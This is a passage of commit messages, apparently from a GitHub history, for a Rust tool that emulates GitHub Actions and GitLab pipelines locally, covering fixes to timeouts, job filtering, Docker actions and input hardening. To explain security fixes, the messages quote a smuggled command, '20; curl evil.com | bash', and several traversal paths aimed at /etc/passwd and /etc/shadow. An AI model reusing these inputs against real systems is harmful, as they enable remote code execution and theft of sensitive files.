where GITHUB_PATH entries would clobber the entire PATH with just
the new entries when job_env had no PATH key yet. Fall back to the
system PATH instead of empty string so subsequent steps can still
find bash. Kind of important.
* fix(runtime): handle absolute interpreter paths and restore CI_PROJECT_DIR substitution
The previous emulation refactor matched command[0] against bare names
like "bash" and "cargo", which means /usr/bin/bash or /bin/sh would
fall through to the sh -c wrapper — silently reintroducing the exact
argument-mangling bug that refactor was supposed to fix.
Extract the basename via Path::file_name() before matching. This is
the obvious thing to do and I'm mildly annoyed it wasn't done the
first time around.
While at it, restore the ${CI_PROJECT_DIR} interpolation in env vars
that got quietly dropped during the three-code-path consolidation.
The old code only special-cased CARGO_HOME, but the real issue is
broader: *any* env var value containing ${CI_PROJECT_DIR} needs
interpolation. The new version handles all of them uniformly.
Also add a comment explaining why composite actions get an empty
step_outputs map — it's intentional (matches GHA scoping rules),
not a TODO someone should "fix" later.
* fix(executor): add timeout enforcement to matrix jobs and clean up review nits
execute_matrix_job had *no* timeout enforcement whatsoever. The
regular execute_job path got the per-step deadline treatment in
|
||
|
Gokul
|
6016887a3b |
feat(executor): easy GHA emulation fixes for better compatibility (#82)
* feat(executor): add easy GHA emulation fixes for better compatibility
- Expand github.* context with 13 missing env vars (CI, GITHUB_ACTIONS,
GITHUB_REF_NAME, GITHUB_REF_TYPE, GITHUB_REPOSITORY_OWNER, etc.) and
improve GITHUB_ACTOR to use git config / $USER instead of hardcoded value
- Enforce timeout-minutes at both job level (default 360m per GHA spec)
and step level via tokio::time::timeout
- Implement defaults.run.shell and defaults.run.working-directory with
proper fallback chain: step > job defaults > workflow defaults > bash
- Implement hashFiles() expression function with glob matching, sorted
file hashing (SHA-256), and integration into the substitution pipeline
* fix(executor): harden hashFiles, working-directory, and shell -e
Three issues from code review, all in the "we got the GHA emulation
*almost* right" category:
1. hashFiles() was returning an empty string when no files matched.
GHA returns the SHA-256 of empty input (e3b0c44...), not nothing.
An empty string as a cache key component is the kind of thing
that silently ruins your day. Also, unreadable files were being
skipped without a peep — now we at least warn about it.
2. The working-directory default resolution was doing a naive
Path::join with user-controlled input. If someone writes
`working-directory: ../../../etc` or an absolute path, join
happily replaces the base. Inside a container this is *somewhat*
contained, but in emulation mode it's a real path traversal.
Normalize the path and reject anything that escapes the
workspace.
3. The bash -e flag change (correct per GHA spec) was undocumented.
Scripts that relied on intermediate commands failing without
aborting the step will now break. Document it in
BREAKING_CHANGES.md so users aren't left guessing.
* fix(executor): complete the GHA shell invocation and harden hashFiles
The previous commit added `-e` to bash but stopped there, even
though the BREAKING_CHANGES.md *literally documented* the full GHA
invocation as `bash --noprofile --norc -e -o pipefail {0}`. So we
were advertising behavior we weren't actually implementing. This is
not great.
Without `-o pipefail`, piped commands like `false | echo ok` would
silently succeed, which is exactly the kind of divergence that makes
you distrust an emulator. And without `--noprofile --norc`, user
profile scripts can interfere with reproducibility.
While at it, fix hashFiles error handling — it was silently
swallowing read errors and producing a partial hash, which is worse
than failing because you get a *wrong* cache key with no indication
anything went sideways. preprocess_hash_files and
preprocess_expressions now return Result and the engine surfaces
failures as step errors.
Also add the tests that should have been there from the start:
shell invocation flags, working-directory path traversal rejection,
and defaults cascade (step > job > workflow).
* fix(executor): harden hashFiles, timeout, and shell edge cases
The previous round of GHA emulation fixes left a few holes that
would bite you in production:
hashFiles() would happily glob '../../etc/passwd' and hash whatever
it found outside the workspace. It also loaded entire file contents
into memory before hashing, which is *not great* when someone points
it at a large binary artifact. The glob patterns now reject '..'
traversal, and file contents are streamed into the SHA-256 hasher
via io::copy instead.
timeout-minutes accepted any f64 from YAML, including negative
values, NaN, and infinity — all of which make Duration::from_secs_f64
panic. Non-finite and non-positive values now fall back to the GHA
default of 360 minutes.
Unknown shell values were silently accepted with a '-c' fallback.
Now they emit a warning so you at least *know* something is off.
While at it, replaced the hash_files_read_error_returns_err test
that was testing two Ok paths (despite its name) with proper
path-traversal rejection tests.
* fix(executor): fix shadowed timeout_mins and extract sanitization helper
It turns out the job timeout error path was re-reading the *raw*
timeout_minutes value instead of using the already-sanitized one.
If someone set timeout-minutes to NaN or a negative number, the
sanitization would correctly fall back to 360, but the error
message would happily print "Job exceeded timeout of NaN minutes."
Not great.
Extract sanitize_timeout_minutes() so both the job and step
timeout paths use the same logic instead of duplicating the
is_finite/positive/clamp dance. While at it, add proper tests
for NaN, Infinity, negative, zero, and the max clamp — plus a
test that actually exercises the job-level timeout expiry branch,
which previously had zero coverage.
|
||
|
Gokul
|
452044f9d2 |
feat(cli): add --job flag to run a specific job and --jobs to list them (#77)
* feat(cli): add --job flag to run a specific job and --jobs to list them Until now, wrkflw only operated at the workflow level. You could run an entire workflow or list workflow files, but if you wanted to debug a single failing job you had to sit through every other job first. This is not great. Add `--job <name>` to `wrkflw run` so you can execute exactly one job in isolation, skipping dependency resolution entirely. Add `--jobs` to `wrkflw list` so you can actually *see* what jobs are available before running them. Both work for GitHub workflows and GitLab pipelines. The filtering happens after dependency resolution — we just replace the execution plan with a single-job batch. If the job name doesn't exist, we tell you what's available instead of silently doing nothing. The TUI still runs full workflows; job selection there is a separate concern. Closes #68 * fix(executor): include transitive deps when running a single job The --job flag was replacing the entire execution plan with just the target job, silently dropping all its dependencies. So if you ran --job deploy and deploy needs build which needs setup, you'd get deploy running alone with none of its prerequisites. Confusion ensues. Extract the duplicated inline filtering (copy-pasted verbatim across both the GitHub and GitLab execution paths) into a shared filter_plan_to_job() helper in dependency.rs. The new logic walks the needs graph via BFS to collect transitive deps, then prunes the existing topologically-sorted plan to only include relevant jobs while preserving batch ordering. Add 9 unit tests covering the dependency collection and plan filtering — linear chains, diamond graphs, partial subgraph isolation, error paths, and empty batch removal. * fix(executor): use stage-aware filtering for GitLab --job flag It turns out that filter_plan_to_job walks `needs` edges to find transitive dependencies, which works fine for GitHub workflows. But GitLab pipelines use *stage ordering* for implicit dependencies, and convert_to_workflow_format sets `needs: None` on every converted job. So running `--job deploy` on a GitLab pipeline would silently drop all build and test jobs. Not great. Add filter_plan_to_job_by_stage that understands the GitLab model: keep all jobs in earlier stage batches (they're implicit deps) and filter only the target's own batch down to just the target job. The GitHub workflow path continues using the needs-based filter. While at it, extract the job-not-found error into a shared helper and add proper test coverage: 6 unit tests for the stage-aware filter plus 3 integration tests exercising the full execute_workflow path with target_job set. |
||
|
Gokul
|
781bd42b21 |
fix(docker): persist setup action images across job steps (#76)
* fix(docker): persist setup action images across job steps Reported in #60. When a workflow uses actions like setup-node or setup-php, the Docker image resolved for that action (e.g. node:20-slim, composer:latest) was only used for the action step itself. Every subsequent `run:` step would blissfully fall back to ubuntu:latest, which of course has neither node nor composer. Confusion ensues. It turns out that `execute_job()` computes `runner_image_value` exactly *once* via `get_effective_runner_image()` and never updates it. The action step gets its own image from `prepare_action()`, but that image is completely ignored for subsequent `run:` steps. So your setup-node configures... nothing, as far as run steps care. Fix this by pre-scanning all job steps for known setup actions before the step loop begins. Single setup action? Use its image. Multiple setup actions (e.g. Laravel's PHP + Node.js combo)? Build a combined Dockerfile that installs all required runtimes on the ubuntu base. No setup actions? Nothing changes — fully backward compatible. While at it, skip the pointless pull attempt for locally-built wrkflw-* images (they only exist locally, the 404 from Docker Hub was just noise), and bump the build_image timeout from 2 minutes to 10 — because installing PHP from a PPA inside a Docker build is not a speed demon. Closes #60 * fix(docker): harden setup action runtime detection against injection and waste The setup action detection code was interpolating user-controlled version strings straight into Dockerfile RUN directives with zero validation. So a workflow with node-version: "20; curl evil.com | bash" would happily inject arbitrary commands into the build. This is not great. It also used starts_with() for action name matching, which would match actions/setup-node-legacy or anything else that happened to share the prefix. And every single build generated a UUID-tagged image that was never cleaned up, so you'd accumulate orphaned wrkflw-combined:* images until your disk had opinions about it. While at it, the 2-minute to 10-minute timeout bump was applied to *all* image builds, not just the combined runtime ones that actually need it. And the Go install script hardcoded linux-amd64, which is the kind of thing that works right up until someone runs on ARM. Let's fix all of it: - Validate version strings against [a-zA-Z0-9._-] before use - Use exact equality for action repo matching, not prefix matching - Use deterministic content-based image tags so identical runtime combinations reuse cached images - Deduplicate same-language setup steps (last one wins) - Scope the 10-minute timeout to wrkflw-combined:* builds only - Detect container architecture for Go installs - Add tests for all of the above * fix(docker): fix three correctness bugs in setup action image resolution The previous commit introduced setup action detection, but it had a few problems that would bite people in practice. First, the single-runtime path was returning bare images like node:20-slim or python:3.12-slim directly. These images don't have git installed, which means actions/checkout — typically the *first* step in any workflow — would just fail. Not great. Fix: always build a combined image on top of the runner base (catthehacker/ubuntu:act-latest) even for single-runtime jobs, so git and friends remain available. The SetupRuntime.image field is now dead code, so remove it entirely. Second, the Python install script was cheerfully ignoring the requested version and installing whatever python3 the distro ships. Ask for 3.12, get 3.10. Surprise. Fix: use the deadsnakes PPA to install the specific version requested. Third, PodmanRuntime had no skip-pull guard for locally-built wrkflw-* images, so podman would attempt to pull wrkflw-combined:* from a registry. Add --pull=never for wrkflw-* prefixed images. * refactor(docker): unify setup action registry and fix remaining review issues The previous commits introduced setup action detection, but left a few things in a state that would annoy anyone who looked closely. First, determine_action_image() was still using starts_with() for action matching — the exact same bug that detect_setup_runtimes had already fixed. So "actions/setup-node-legacy" would happily match as a Node.js setup action. Not great. Second, dtolnay/rust-toolchain conventionally encodes the toolchain in the @ref (e.g., @nightly, @1.75.0), not in a with.toolchain key. The old code would silently default to "stable" for anyone using the idiomatic form. Surprise. Third, the repetitive if/else chain in detect_setup_runtimes (seven near-identical blocks) and the parallel match in determine_action_image were two independent copies of the same knowledge, with no compile-time guarantee they'd stay in sync. Adding a new setup action meant editing two places and hoping you remembered both. Fix all of it: - Introduce a single SETUP_ACTIONS const table that both functions consume, eliminating the drift risk entirely - Add version_from_ref support so dtolnay/rust-toolchain@nightly actually produces "nightly" instead of "stable" - Extract generate_combined_dockerfile() and combined_image_tag() as pure testable functions - Merge all install scripts into a single RUN layer instead of N separate apt-get update calls - Include a content hash in image tags so install script changes invalidate cached images even when language/version pairs are the same - Add 15 tests covering all the above * fix(docker): add image caching, stable hashing, and shared constants The combined runtime image code had three problems that were all independently annoying but together made for a lovely trifecta of "why is this slow and also fragile." First, build_combined_runtime_image was *always* rebuilding the Docker image, even when a perfectly good one already existed locally. That means every single job run was creating temp dirs, writing Dockerfiles, tarring contexts, and shipping them to the daemon. For absolutely no reason. Second, the image tag hash used DefaultHasher, which Rust's own docs explicitly say is not stable across versions. So upgrading your Rust toolchain silently invalidates every cached image. Not great when caching is the whole point. Third, the "wrkflw-" and "wrkflw-combined:" prefixes were hardcoded as magic strings in three separate files. Change one, forget the others, and you get to debug why podman is trying to pull a locally-built image from Docker Hub. The fix: add image_exists() to ContainerRuntime so we can skip redundant builds, replace DefaultHasher with FNV-1a for stable cross-version hashing, and extract the prefixes into shared constants. While at it, merge the duplicate apt-get update calls in the generated Dockerfile into a single RUN layer. * fix(docker): fix version_from_ref with SHA pins and normalize .x suffixes The version_from_ref logic for dtolnay/rust-toolchain was happily treating a pinned git SHA (the 40-char hex kind) as a toolchain name. So `dtolnay/rust-toolchain@d4ff7a3c5...` would try to install Rust toolchain "d4ff7a3c5...", which rustup finds *deeply* confusing. Filter out bare SHAs with the existing is_git_sha() check and fall back to the default version instead. While at it, the ".x" suffix that's idiomatic for Node versions (e.g., "16.x") was leaking through to install scripts for every language. Python would try to apt-get install python16.x, which is not a real package and never will be. Normalize the suffix away at extraction time rather than making each install script deal with it independently. Add tests for both cases. |
||
|
Gokul
|
fd348a460e |
fix: actually execute Docker-based GitHub Actions instead of emulating them (#74)
* fix(executor): actually execute Docker-based GitHub Actions instead of emulating them Third-party GitHub Actions that use Docker (like super-linter) were silently passing without ever *actually running*. The engine would resolve the action, pick a Docker image, and then... run `echo 'Would execute GitHub action: ...'` inside it. Every single time. Regardless of runtime mode. Confusion ensues. It turns out there were two separate failures conspiring here: 1. `prepare_action()` would error out on `ActionType::DockerBuild` with "not yet supported", fall back to `determine_action_image()`, and cheerfully return `node:20-slim` for super-linter. This is not great. 2. The `PreparedAction::Image` execution branch had three sub-paths for is_docker, is_local, and everything else — and *all three* just ran echo commands. The image was resolved correctly and then completely ignored. The fix has several parts: - Add a `NativeDocker` variant to `PreparedAction` that means "run this image with its built-in ENTRYPOINT, no command override." Docker registry actions and DockerBuild actions both use this. - Implement DockerBuild properly: clone the repo, resolve the Dockerfile path from action.yml, build it, return the tag. Uses the existing `shallow_clone` and `runtime.build_image`. - Fix `build_image_inner` to tar the *full context directory* instead of just the Dockerfile. The old code had `_context_dir` sitting right there, computed and unused. COPY instructions in Dockerfiles need the context, obviously. - Allow empty `cmd` in `run_container` to mean "use the image's default ENTRYPOINT/CMD". The Docker impl now sets `config.cmd = None` when cmd is empty. Podman already handled this correctly. The existing `PreparedAction::Image` path with all its special-cased action handling (actions-rs, checkout, etc.) is completely untouched. Closes #59 * fix(executor): fix macOS entrypoint hang, path traversal, and silent emulation pass Three bugs in the Docker action execution path from the previous commit: 1. The macOS emulation entrypoint override (`bash -l -c`) was applied *unconditionally*, even when cmd was empty (NativeDocker path). That means Docker actions running on macOS emu images would get bash with no argument — which either hangs forever or exits immediately. The image's real ENTRYPOINT gets discarded either way. This is not great. Fix: capture `has_cmd` before cmd_vec is moved into the config, only apply the bash wrapper when there's actually a command to wrap. 2. The `dockerfile_rel` extracted from action.yml's `runs.image` was not sanitized after stripping the `docker://` prefix. A malicious action.yml with `docker:///etc/shadow` or `../../sensitive` would escape the action directory via Path::join's absolute-path behavior or dotdot traversal. Fix: strip leading slashes and reject any path containing `..`. 3. Emulation mode returned exit_code 0 for Docker actions it *didn't actually run*. Users got a green checkmark for actions that were silently skipped. Confusion ensues. Fix: return exit_code 1 with a clear stderr message explaining the action was not executed and needs --runtime docker. While at it, add tests for all three fixes: NativeDocker variant construction, dockerfile path sanitization (6 cases), and emulation empty-cmd failure behavior. * fix(executor): harden Docker action security and fix docker:// execution path Three issues found during review, all in the Docker action plumbing: 1. The `is_docker` path in `prepare_action()` was returning `PreparedAction::Image` instead of `NativeDocker`, which means `docker://` prefixed actions in `uses:` went straight through the legacy echo-command path and *never actually executed*. Same class of bug we just fixed for DockerBuild, hiding in plain sight. 2. The path traversal check for Dockerfile paths used `contains("..")`, which rejects perfectly legitimate directory names like `foo..bar/`. Check for `..` as an actual path *component* instead via `split('/').any(|c| c == "..")`. 3. `build_image_inner` was calling `append_dir_all` on untrusted action repositories without disabling symlink following. A malicious action repo could plant a symlink pointing at the host filesystem and have its contents shipped into the Docker build context. That's the kind of thing that makes security auditors lose sleep. Set `follow_symlinks(false)` on the tar builder. * fix(executor): wire up runs.entrypoint, runs.args, and fix local Docker dispatch The previous commits got the NativeDocker path working for remote actions, but left several holes that a code review correctly identified. Let's fix them all. First, local Docker actions (uses: ./my-action with a Dockerfile) were *still* returning PreparedAction::Image instead of NativeDocker. Same class of bug we just fixed for remote actions, hiding one function call away. They now go through NativeDocker and parse the local action.yml for entrypoint/args. Second, runs.entrypoint and runs.args from action.yml were being completely ignored. Docker actions that declare their entrypoint in action.yml (which is, you know, *a lot of them*) would silently use the wrong entrypoint. Add an entrypoint parameter to the ContainerRuntime trait and thread it through all four implementations: Docker sets Config.entrypoint, Podman passes --entrypoint, and the emulation runtimes accept-and-ignore it. Third, with.args from workflow steps (uses: docker://alpine with args: "echo hello") was not being passed as container CMD. It now overrides runs.args when present, matching GitHub Actions behavior. While at it: - Extract sanitize_dockerfile_rel into a real function instead of having the tests duplicate the logic and test their own copy. Testing a copy of your code instead of the actual code is not what I'd call confidence-inspiring. - Add canonicalize() defense-in-depth after Dockerfile path resolution to catch symlink escapes. - Document the build_image_inner context directory invariant. * fix(executor): fix broken args parsing, empty dockerfile path, and silent entrypoint drop Three correctness bugs found during review of the Docker action execution path: 1. with.args was being split on whitespace like a caveman. An argument like "hello world" would turn into two separate args, which is *not* how GitHub Actions works. Use shlex::split() for proper shell-word parsing, with a whitespace fallback for malformed input that shlex chokes on. 2. sanitize_dockerfile_rel() happily accepted empty strings. Feed it "" or "docker://" and it would produce an empty path, which then joins to a directory instead of a file. The subsequent docker build would fail with a confusing error. Let's just reject empty paths upfront. 3. SecureEmulationRuntime silently swallowed the entrypoint override without telling anyone. If you're running in secure emulation mode and your action specifies runs.entrypoint, you deserve to know it's being ignored — not left wondering why your action isn't doing what you expect. * fix(executor)!: pass explicit build context to Docker image builds It turns out that build_image_inner was deriving the Docker build context from dockerfile.parent(), which is *wrong* when the Dockerfile lives in a subdirectory of the action root. An action with runs.image: subdir/Dockerfile would get subdir/ as its build context instead of the action root, silently breaking every COPY instruction that references files outside that subdirectory. The fix is straightforward: add an explicit context_dir parameter to the ContainerRuntime::build_image trait so callers tell us what the context is instead of us guessing from the Dockerfile path. The DockerBuild path in engine.rs now passes &action_dir, and the Docker inner implementation computes the Dockerfile path relative to context_dir via strip_prefix instead of just using file_name(). While at it, add a warning log when shlex::split fails to parse with.args (unmatched quotes). Previously this silently fell back to naive whitespace splitting, which is the kind of thing that makes you stare at container logs for an hour wondering why your quoted argument got split into three pieces. * fix(executor): reject bad dockerfile paths instead of silently guessing Three bugs found during review: The build_image_inner strip_prefix fallback was *silently* using just the filename when the Dockerfile wasn't a clean descendant of the context directory. So if something weird happened with the path, you'd just get the wrong Dockerfile used for the build with zero indication anything went wrong. That's not a fallback, that's a footgun. Return an error instead. sanitize_dockerfile_rel was happily preserving a leading "./" from the raw path, which then caused strip_prefix to fail (because "./build/Dockerfile" is not a prefix-match for a joined path). Strip it early so the downstream path arithmetic actually works. While at it, extract_docker_runs_config was using filter_map on runs.args, which means non-string YAML values like integers and booleans were silently dropped. GitHub Actions coerces those to strings, so we should too. * fix(executor): handle string-form args and reject malformed with.args It turns out that extract_docker_runs_config only handled runs.args as a YAML sequence. If an action.yml declared args as a plain string (which GitHub Actions absolutely allows), we'd silently drop the entire argument. Not great. While at it, the with.args parser had the opposite problem — when shlex::split hit an unmatched quote, it shrugged and fell back to naive whitespace splitting. That's the kind of "graceful degradation" that produces subtly wrong container invocations and makes you spend an afternoon wondering why your action is getting the wrong flags. Fix both: extract_docker_runs_config now handles args as either a YAML sequence or a string (shell-tokenized via shlex). The with.args path now returns a hard error on malformed quoting instead of pretending everything is fine. Added tests for string-form args including the bad-quoting edge case. * fix(executor): close sub_path traversal hole and make args parsing consistent It turns out that sub_path from action references (the part after owner/repo in owner/repo/some/subdir) was being joined to the clone directory with absolutely no sanitization. A crafted sub_path like "../../etc" would escape the cloned repo and get passed as the Docker *build context*. Please don't do that. Add sanitize_sub_path() that rejects any path component equal to "..", and apply it in both the DockerBuild and Composite action paths. For DockerBuild, also canonicalize the resolved action_dir and verify it's still inside the repo_dir — because symlinks exist and trusting user-controlled paths is how we end up on HN. While at it, fix a behavioral inconsistency in args parsing: bad quoting in action.yml's runs.args was silently falling back to the raw string, while the exact same bad quoting in a workflow's with.args was a hard error. Now both are errors, because silently doing the wrong thing is worse than loudly refusing. * fix(executor): harden Docker build context, sanitize inputs, deduplicate mount setup The PR review flagged several issues ranging from correctness to performance to plain old code smell. Let's address them all. It turns out that build_image_inner was happily tarring the *entire* context directory and shipping it to the Docker daemon, cheerfully ignoring any .dockerignore file. For large action repos with test fixtures, docs, and who knows what else, this is not great. When a .dockerignore exists, we now use the `ignore` crate's WalkBuilder to walk only non-ignored files. Falls back to the old append_dir_all when there's no .dockerignore, because we're not breaking anything that already works. The sanitize_sub_path and sanitize_dockerfile_rel functions checked for ".." traversal but not null bytes, which can cause truncation at OS boundaries and potentially bypass the traversal check. Please don't do that. Added null byte rejection to both. extract_docker_runs_config was taking &Option<T> instead of Option<&T>, which is the Rust equivalent of wearing your shirt inside out — it works, but everyone who sees it knows something is wrong. Fixed the signature and all callers. The with.args empty-string handling was also wrong: `with.args: ""` was treated as "no override" instead of "pass zero args", which doesn't match GitHub Actions behavior where the presence of the key is the signal, not its value. While at it, extracted the volume/env/mount setup boilerplate that was copy-pasted across three execution paths into a StepContainerContext helper. Not because I enjoy moving code around, but because the same 12 lines in three places is not my idea of maintainability. * fix(executor): cap build context size, disable git hooks, add NativeDocker tests Three security and reliability fixes from the PR review: The build_image_inner tar buffer was completely unbounded — a malicious or just absurdly large action repo with no .dockerignore would happily try to load the entire thing into memory. Now we track cumulative file sizes and bail at 500 MB. The old append_dir_all fallback had to go since it gives us no per-file hook; replaced it with an ignore::WalkBuilder walk (already a dep) so both paths enforce the same limit. shallow_clone was happily running git checkout on untrusted repos without disabling hooks. A cloned repo's .git/hooks/post-checkout runs automatically, which is the kind of thing that makes security reviewers lose sleep. Pass -c core.hooksPath=/dev/null to every git invocation so cloned repos can't execute anything on our host. While at it, add a MockContainerRuntime and four integration tests that exercise the NativeDocker execute_step path end-to-end: entrypoint passthrough, with.args override + INPUT_* injection, empty args, and step/job env propagation. This path previously had zero test coverage for the runtime flow. * fix(executor): deduplicate build context walker, harden sub_path, add missing tests The build_image_inner code in docker.rs had two near-identical ~50-line walker loops — one for when .dockerignore exists and one for when it doesn't. The *only* difference was a single add_custom_ignore_filename() call on the builder. Copy-paste like that drifts. Let's not. Merged into a single loop with a conditional on the WalkBuilder before iteration. Same behavior, half the code. While at it, sanitize_sub_path now splits on both '/' and '\' so a Windows-style traversal like "a\..\..\etc" doesn't sneak past the check. Also expanded the PreparedAction::Image doc comment to explain which code paths still produce it and why it's distinct from NativeDocker — future contributors shouldn't have to guess. Added tests for: unmatched-quote error path in with.args, with.args overriding runs.args, and backslash path traversal in sub_path. * fix(executor): close backslash traversal gap and add with.entrypoint override It turns out that sanitize_dockerfile_rel was only splitting on '/' to catch ".." traversal, while its sibling sanitize_sub_path was correctly splitting on both '/' and '\\'. So a crafted Dockerfile path like "..\\..\\etc\\shadow" would sail right past the sanitizer. The canonicalize() defense-in-depth below *would* catch this in practice, but relying on one security layer to cover a hole in another is not great. Let's just make them consistent. While at it, the NativeDocker execution path was missing support for with.entrypoint — a documented GitHub Actions feature that lets workflow steps override the Docker container's ENTRYPOINT. We were already handling with.args but silently ignoring with.entrypoint, which is the kind of asymmetry that bites you the moment someone actually tries to use it. * fix(executor): close composite sub_path symlink hole and filter empty entrypoint The DockerBuild handler had a proper canonicalize + starts_with defense-in-depth check after resolving sub_path, but the composite action handler just blindly trusted sanitize_sub_path() and called repo_dir.join(p) without verifying the result stayed inside the cloned repo. A symlink named "legit" pointing to "../../secrets" would sail right through the string-only sanitizer. That is not great. Add the same canonicalize + starts_with check to the composite action path so both handlers have identical protection. While at it, filter empty-string entrypoint values to None in both extract_docker_runs_config and the Docker runtime layer. An empty runs.entrypoint in action.yml should mean "use the image default", not "tell Docker to clear the entrypoint" — which is what passing Some("") actually does. Added tests for both the with.entrypoint override path and the empty entrypoint filtering. * fix(executor): filter empty podman entrypoint and extract NativeDocker step handler The podman runtime was happily passing `--entrypoint ""` to podman when a workflow set `with.entrypoint: ""`, while Docker correctly filtered it out via `.filter(|s| !s.is_empty())`. So the two runtimes silently diverged on empty entrypoint behavior. Not great. Add the same filter to podman's entrypoint handling so both runtimes treat empty strings as "use the image default." While at it, extract the ~90-line NativeDocker match arm from execute_step into its own `execute_native_docker_step` function. That match block was getting unwieldy, and this keeps each action type's execution logic self-contained. Also drop a TODO on the in-memory tar buffer in build_image_inner — it holds the entire build context in a Vec<u8>, which gets uncomfortable as repos approach the 500 MB cap. |
||
|
Gokul
|
8a8d7e5eec |
fix: resolve correctness, security, and parsing bugs across codebase (#73)
* fix: resolve 10 bugs found during full codebase review
- Fix memory leak from Box::leak() in status bar render loop
- Fix AES-GCM nonce reuse vulnerability in encrypted secret storage
- Fix Default impl for EncryptedSecretStore that discarded encryption key
- Fix early return in list command that prevented GitLab pipeline listing
- Fix double validation call in validate_github_workflow
- Wire --show-action-messages CLI flag through ExecutionConfig
- Add serde(rename = "if") to GitLab Rule if_ field for correct deserialization
- Fix potential panic on multibyte paths in workflow tab path shortening
- Include involved job names in circular dependency error messages
- Improve cron syntax validation to check value ranges, steps, and expressions
* fix: address PR review feedback
- Remove dead `_nonce` parameter from `EncryptedSecretStore::from_data`
- Add clarifying comment for inverted show/hide action messages mapping
- Add comprehensive cron validation tests (valid expressions, out-of-range
values, wrong part count, invalid steps, invalid ranges, edge cases)
* fix: resolve 27 bugs found during full codebase verification
A thorough manual verification of every feature uncovered a
*remarkable* collection of bugs hiding in plain sight. The
highlights:
The `strategy.matrix` YAML structure was never parsed. The Job
struct had `matrix` at the top level, but GitHub Actions nests it
under `strategy.matrix`. Serde silently ignored the `strategy`
key, so matrix expansion code existed but could never run. For
absolutely no reason. Introduce a proper `Strategy` struct and
wire it through the executor.
The Step struct was missing `if`, `id`, `working-directory`,
`shell`, and `timeout-minutes` fields. Step-level conditionals
were silently dropped — every step always ran regardless of its
`if` condition. While at it, `continue-on-error` was in the
struct but had no serde rename and was never checked during
execution. Fix all of that.
The validator cheerfully reported cyclic `needs` dependencies as
"Valid". Add DFS cycle detection so `A -> B -> C -> A` is caught
at validation time instead of blowing up at execution time.
Five of eight GitLab CI test fixtures failed to parse because the
model was too rigid: `extends` only accepted arrays (not strings),
`variables` rejected integers, `cache.key` rejected structured
formats, and `script` rejected single strings. Add custom
deserializers following the existing codebase pattern.
The GitHub trigger function leaked the auth token via curl process
arguments visible in `/proc/[pid]/cmdline`. Replace with reqwest,
matching the pattern already used elsewhere. Also add symlink and
path traversal protections in the executor.
Other fixes: hardcoded matrix variable stripping replaced with
proper substitution, `show_action_messages` wired through TUI,
dead `if true {}` removed, default branch detection uses remote
HEAD instead of current branch, cron validator accepts named
days/months, reusable workflow ref validation loosened from OR
to AND, matrix include entries merge into all matching combos.
* fix: harden step-level evaluation, volume checks, and add tests
The PR review turned up a few things that needed fixing before this
was actually ready.
The step-level `if` condition evaluator was silently reusing the
job-level `evaluate_job_condition` function, which knows nothing
about step-scoped expressions like `steps.<id>.outcome`, `success()`,
`failure()`, `always()`, or `cancelled()`. These would fall through
to the generic "unknown condition" path without so much as a warning.
Now they're detected early, a warning is logged, and they default to
true — which is at least *honest* about the limitation.
The volume path traversal check (`..`) was applied to the entire
volume spec string, meaning a perfectly legitimate container path
like `/safe/host:/container/..weird` would get rejected. The check
now only inspects the host path component after splitting on `:`,
which is the part that actually matters for traversal attacks.
While at it, renamed the awkwardly-named `step_name_for_skip` to
just `step_name` in `execute_matrix_job` for consistency with
`execute_job`, and added a BREAKING_CHANGES.md documenting the
EncryptedSecretStore serialization format change.
Added 19 new tests covering matrix include/exclude merge semantics,
step condition evaluation for unsupported expressions, volume path
traversal edge cases, and continue-on-error + step-level if parsing.
* fix: correct condition defaults, path traversal check, and null variable handling
The previous commit defaulted *all* unsupported step-level
condition functions (failure(), cancelled(), always(), success())
to true. It turns out that defaulting failure() and cancelled()
to true is semantically wrong — it means steps guarded by
`if: failure()` will *always* run, even when nothing failed.
That's not a feature, that's a bug.
Default each function to its most likely state: always() and
success() return true, failure() and cancelled() return false.
Not perfect (we still can't track actual step outcomes), but at
least we're not silently running cleanup steps on every build.
The path traversal check was using `contains("..")` which is a
substring match. A directory literally named `..hidden` would
get rejected. Use Path::components() to detect actual ParentDir
components instead of playing string matching games.
While at it, fix deserialize_variables in the GitLab models to
handle YAML null values as empty strings instead of producing
"~\n". Also trim the catch-all serialization output.
* fix: correct cycle detection, condition evaluation, and matrix continue-on-error
The DFS cycle detector in `dfs_detect_cycle` had a genuinely nasty bug:
when a cycle was found, it returned early *without popping itself from
rec_stack*. This left stale entries that corrupted the stack for
subsequent DFS traversals. Net result: cross-edges to already-visited
nodes would be falsely reported as cycles. A→B→A is a cycle, but
D→E→A is just a cross-edge. The old code couldn't tell the difference.
Fix this properly by introducing a separate `in_stack` HashSet for O(1)
membership checks, while keeping the Vec for path reconstruction. Both
are now correctly cleaned up — no early returns skip the cleanup.
While at it, `execute_matrix_job` was silently ignoring `continue-on-error`
on the Err branch. The non-matrix `execute_job` handled it correctly,
but the matrix path would just abort the entire job. Copy-paste bugs
are fun like that. Let's fix that.
The `evaluate_job_condition` status function handling was doing sequential
`contains()` checks with early returns, which meant compound expressions
like `failure() || success()` would match `failure()` first and return
false. Now we scan for all status functions in one pass and pick the
most permissive default when positive functions are present.
Also: `convert_yaml_to_step` was hardcoding `None` for `if_condition`,
`id`, `working_directory`, `shell`, and `timeout_minutes` despite the
YAML potentially having them. And `is_valid_cron_atom` was rejecting
valid POSIX cron syntax like `5/2`.
* refactor(executor): extract step guards into shared helper, fix steps.* default
The step-level if-condition check and continue-on-error handling was
copy-pasted between execute_job and execute_matrix_job with subtly
different control flow — one sets job_success=false and breaks, the
other returns Ok(JobResult{Failure}) immediately. Two copies of the
same logic that *already* disagree is not redundancy, it's a bug
waiting to happen. Let's fix that.
Extract run_step_with_guards() that encapsulates the if-condition
evaluation, execute_step call, and continue-on-error wrapping into
a single StepOutcome enum. Both job execution paths now call this
shared helper.
While at it, fix the condition evaluator defaulting bare steps.*
references to true — "steps.build.outcome == 'failure'" should
*not* optimistically run the step. Now only always() and success()
default to true; everything else (bare step refs, failure(),
cancelled()) conservatively defaults to false.
Also add serde alias "matrix" on Job.strategy so old workflows with
flat matrix: at job level still parse, and document the intentional
or_insert_with in matrix include merging per GitHub Actions spec.
* fix: clean up review findings in step guards, secret store, and test fixture
The PR review flagged three issues worth fixing before merge.
First, run_step_with_guards had a bogus StepStatus::Skipped check
in the abort_job logic. The condition tested for Failure *or*
Skipped, then only actually aborted on Failure — meaning the
Skipped branch did nothing except confuse anyone reading the code.
Simplify to just check Failure directly.
Second, EncryptedSecretStore::from_json would silently fail with a
generic serde error when fed the old serialization format (which
had a shared top-level nonce field). Now it detects the old format
by checking for the "nonce" key and returns a clear error pointing
at BREAKING_CHANGES.md. Added a test for this.
Third, tests/workflows/continue-on-error-test.yml was an orphan
